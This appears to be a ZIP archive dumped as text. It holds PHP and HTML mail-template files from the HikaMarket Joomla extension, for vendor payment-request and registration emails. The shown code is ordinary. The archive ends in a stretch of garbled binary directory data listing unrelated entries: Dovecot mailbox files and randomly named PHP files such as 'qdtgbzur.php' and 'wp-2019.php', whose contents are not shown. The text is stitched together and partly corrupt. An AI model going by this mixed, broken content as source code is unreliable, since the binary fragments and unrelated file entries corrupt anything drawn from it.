* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_vendor_payment_requestPreviewMaker {
public $displaySubmitButton = false;
public $type = 'market';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
if(empty($data['vendor']))
$data['vendor'] = 1;
$userClass = hikashop_get('class.user');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->user = $userClass->get((int)$data['user']);
$params->vendor =
$vendorClass->get((int)$data['vendor']);
$params->vendor_name = $params->vendor->vendor_name;
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('vendor_admin_registration',
$params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject = 'MARKET_VENDOR_PAYMENT_REQUEST_SUBJECT';
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$marketNameboxType = hikamarket::get('type.namebox');
$html_user = $nameboxType->display(
'data[user]',
(int)$data['user'],
hikashopNameboxType::NAMEBOX_SINGLE,
'user',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html_user) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
$html_vendor = $marketNameboxType->display(
'data[vendor]',
(int)$data['vendor'],
hikashopNameboxType::NAMEBOX_SINGLE,
'vendor',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(empty($html_user)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_PRODUCT_FOR_THE_PREVIEW'));
}
if(empty($html_vendor)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_PRODUCT_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKA_USER'); ?></dt>
<dd><?php echo $html_user; ?></dd>
</dl>
<dl class="hika_options">
<dt><?php echo JText::_('HIKAMARKET_VENDOR');
?></dt>
<dd><?php echo $html_vendor; ?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data_user'])
return;
w.oNameboxes['data_user'].register('set', function(e)
{
hikashop.submitform('preview','adminForm');
});
w.oNameboxes['data_vendor'].register('set',
function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[�����vendor_registration.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail {width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}media/com_hikashop/images/icons/icon-48-user.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:VENDOR_REGISTRATION}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_VENDOR}</h3>
{TXT:VENDOR_REGISTRATION_BEGIN_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[����vendor_registration.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'vendor_name' => @$data->vendor_name,
'URL' => HIKASHOP_LIVE,
'vendor' => @$data->vendor,
'user' => @$data->user
);
$texts = array(
'MAIL_TITLE' =>
JText::_('HIKAM_EMAIL_VENDOR_REGISTRATION'),
'HI_VENDOR' => JText::sprintf('HI_VENDOR',
@$data->name),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER')
);
$msg = JText::_('VENDOR_REGISTRATION_BEGIN_MESSAGE');
if(strpos($msg, '%s') !== false) {
$texts['VENDOR_REGISTRATION_BEGIN_MESSAGE'] =
JText::sprintf('VENDOR_REGISTRATION_BEGIN_MESSAGE',
HIKASHOP_LIVE, $data->name, $data->vendor->vendor_id);
}
PKT��[�Ɗ�JJvendor_registration.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_vendor_registrationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'registration';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
if(empty($data['vendor']))
$data['vendor'] = 1;
$userClass = hikashop_get('class.user');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->user = $userClass->get((int)$data['user']);
$params->vendor =
$vendorClass->get((int)$data['vendor']);
$params->vendor_name = $params->vendor->vendor_name;
$params->name = $params->user->name;
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('vendor_registration', $params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject = 'MARKET_VENDOR_REGISTRATION_SUBJECT';
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$marketNameboxType = hikamarket::get('type.namebox');
$html_user = $nameboxType->display(
'data[user]',
(int)$data['user'],
hikashopNameboxType::NAMEBOX_SINGLE,
'user',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html_user) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
$html_vendor = $marketNameboxType->display(
'data[vendor]',
(int)$data['vendor'],
hikashopNameboxType::NAMEBOX_SINGLE,
'vendor',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(empty($html_user)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_USER_FOR_THE_PREVIEW'));
}
if(empty($html_vendor)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_VENDOR_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKA_USER'); ?></dt>
<dd><?php echo $html_user; ?></dd>
</dl>
<dl class="hika_options">
<dt><?php echo JText::_('HIKAMARKET_VENDOR');
?></dt>
<dd><?php echo $html_vendor; ?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data_user'])
return;
w.oNameboxes['data_user'].register('set', function(e)
{
hikashop.submitform('preview','adminForm');
});
w.oNameboxes['data_vendor'].register('set',
function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�{�[t�P((.Drafts/dovecot.index.lognu��٘�PK�{�[+Q[�33q.Drafts/dovecot-uidlistnu��٘�PK�{�[t�P((�.Junk/dovecot.index.lognu��٘�PK�{�[䚗�33Z.Junk/dovecot-uidlistnu��٘�PK�{�[t�P((�.Sent/dovecot.index.lognu��٘�PK�{�[�]33A.Sent/dovecot-uidlistnu��٘�PK�{�[t�P((�.Trash/dovecot.index.lognu��٘�PK�{�[���33).Trash/dovecot-uidlistnu��٘�PK�{�[!Н�mailbox_format.cpanelnu��٘�PK�{�[�L/g���dovecot.list.index.lognu��٘�PK�{�[t�P((dovecot.index.lognu��٘�PK�{�[%SQ��dovecot-uidvaliditynu��٘�PK�{�[=R�%33�dovecot-uidlistnu��٘�PK�{�[Bdovecot-uidvalidity.62afd344nu��6�$PK�{�[ᑌ$�maildirsizenu"�]
�PK�{�[���6���qdtgbzur.phpnu�[���PK�{�[��q��=�=
wp-2019.phpnu�[���PK�{�[���6�� Iratcsegm.phpnu�[���PK�x�[�)U���
=Lfooter.pngnu�[���PK�x�[����XXYNfooter_black.pngnu�[���PK�x�[�f�L��
�Oheader.pngnu�[���PK�x�[^Vt+Theader_black.pngnu�[���PK�x�[wtW�
cVindex.htmlnu�[���PKi��[1�t
�
�
�Vtmpl/default.phpnu�[���PKi��[v(����dtmpl/default.xmlnu�[���PKi��[��tE
�eview.html.phpnu�[���PK�[�����kcontact_request.html.phpnu�[���PK�[�$�4���~contact_request.preload.phpnu�[���PK�[aFO8""{�contact_request.preview.phpnu�[���PK�[$�{]]�cron_report.html.phpnu�[���PK�[��:�����cron_report.preview.phpnu�[���PK�[��"ZZ
��massaction_notification.html.phpnu�[���PK�[��E� � #?�massaction_notification.preload.phpnu�[���PK�[��$u��d�new_comment.html.phpnu�[���PK�[[���!�!!y�order_admin_notification.html.phpnu�[���PK�[�C�b�C�C$��order_admin_notification.preload.phpnu�[���PK�[S���uu$�order_admin_notification.preview.phpnu�[���PK�[��..!h&order_admin_notification.text.phpnu�[���PK�[/�@���-order_cancel.html.phpnu�[���PK�[)a�1��$�0order_creation_notification.html.phpnu�[���PK�[KN�<�H�H'Oorder_creation_notification.preload.phpnu�[���PK�[]wF{{']�order_creation_notification.preview.phpnu�[���PK�[qg6qii$/�order_creation_notification.text.phpnu�[���PK�[o|���order_notification.html.phpnu�[���PK�[�l�j|?|?.�order_notification.preload.phpnu�[���PK�[�ii�order_notification.preview.phpnu�[���PK�[��=�order_notification.text.phpnu�[���PK�[]¤�b
b
"�order_status_notification.html.phpnu�[���PK�[]�},M,M%�=order_status_notification.preload.phpnu�[���PK�[��t t %3�order_status_notification.preview.phpnu�[���PK�[5��Ntt"��order_status_notification.text.phpnu�[���PK�[, �ԫ�out_of_stock.html.phpnu�[���PK�[�b*0
��payment_notification.html.phpnu�[���PK�[�\K�=�=
�payment_notification.preload.phpnu�[���PK�[�Bvmm
��payment_notification.preview.phpnu�[���PK�[�72�|
|
��template/admin.html.phpnu�[���PK�[!2S���$}
template/admin_notification.html.phpnu�[���PK�[*��,��wtemplate/default.html.phpnu�[���PK�[wtW�P'template/index.htmlnu�[���PK�[���D��#�'template/user_notification.html.phpnu�[���PK�[@t�F&&�9unfinished_order.html.phpnu�[���PK�[��w���)>unfinished_order.text.phpnu�[���PK�[�
�OOIBuser_account.html.phpnu�[���PK�[8s����Guser_account.preview.phpnu�[���PK�[jK7D++�Ouser_account.text.phpnu�[���PK�[ؙ:"��((Uuser_account_admin_notification.html.phpnu�[���PK�[�8���+Wuser_account_admin_notification.preview.phpnu�[���PK�[&!+���(G_user_account_admin_notification.text.phpnu�[���PK�[��ܷ\\$Tawaitlist_admin_notification.html.phpnu�[���PK�[�����'jwaitlist_admin_notification.preload.phpnu�[���PK�[ɳ�z���pwaitlist_notification.html.phpnu�[���PK�[�Z�
hh!�twaitlist_notification.preview.phpnu�[���PK�[4�1E����wishlist_share.html.phpnu�[���PK�[�l��P�wishlist_share.preload.phpnu�[���PK�[��ʫ��!�wishlist_share.preview.phpnu�[���PK�[��=A�payment_notification.text.phpnu�[���PK�[�1Z����subscription_eot.html.phpnu�[���PKT��[�ŊVGGלproduct_approval.html.phpnu�[���PKT��[�$�Ĭ�g�product_approval.preload.phpnu�[���PKT��[r�;{9 9 _�product_approval.preview.phpnu�[���PKT��[��E hh�product_creation.html.phpnu�[���PKT��[�++��product_creation.preload.phpnu�[���PKT��[�{���product_creation.preview.phpnu�[���PKT��[�a��AA4�product_decline.html.phpnu�[���PKT��[�WJ��product_decline.preload.phpnu�[���PKT��[�"��6 6 ��product_decline.preview.phpnu�[���PKT��[>��"qq�product_modification.html.phpnu�[���PKT��[`p�9II
�product_modification.preload.phpnu�[���PKT��[�n�OO
_product_modification.preview.phpnu�[���PKT��[�� }
}
�template/vendor.html.phpnu�[���PKT��[f���WW
�)user_order_notification.html.phpnu�[���PKT��[�'U�
S
S#j?user_order_notification.preload.phpnu�[���PKT��[��||#ǒuser_order_notification.preview.phpnu�[���PKT��[�h�>qq
��user_order_notification.text.phpnu�[���PKT��[?1��"W�vendor_admin_registration.html.phpnu�[���PKT��[��͕��%��vendor_admin_registration.preload.phpnu�[���PKT��[��:�44%Ʋvendor_admin_registration.preview.phpnu�[���PKT��[c�)SMM$O�vendor_payment_notification.html.phpnu�[���PKT��[J��Q5Q5'��vendor_payment_notification.preload.phpnu�[���PKT��[�a�vv�vendor_payment_request.html.phpnu�[���PKT��[����"]*vendor_payment_request.preload.phpnu�[���PKT��[|��,,"�1vendor_payment_request.preview.phpnu�[���PKT��[�����4=vendor_registration.html.phpnu�[���PKT��[����Ovendor_registration.preload.phpnu�[���PKT��[�Ɗ�JJ�Rvendor_registration.preview.phpnu�[���PKiic%�^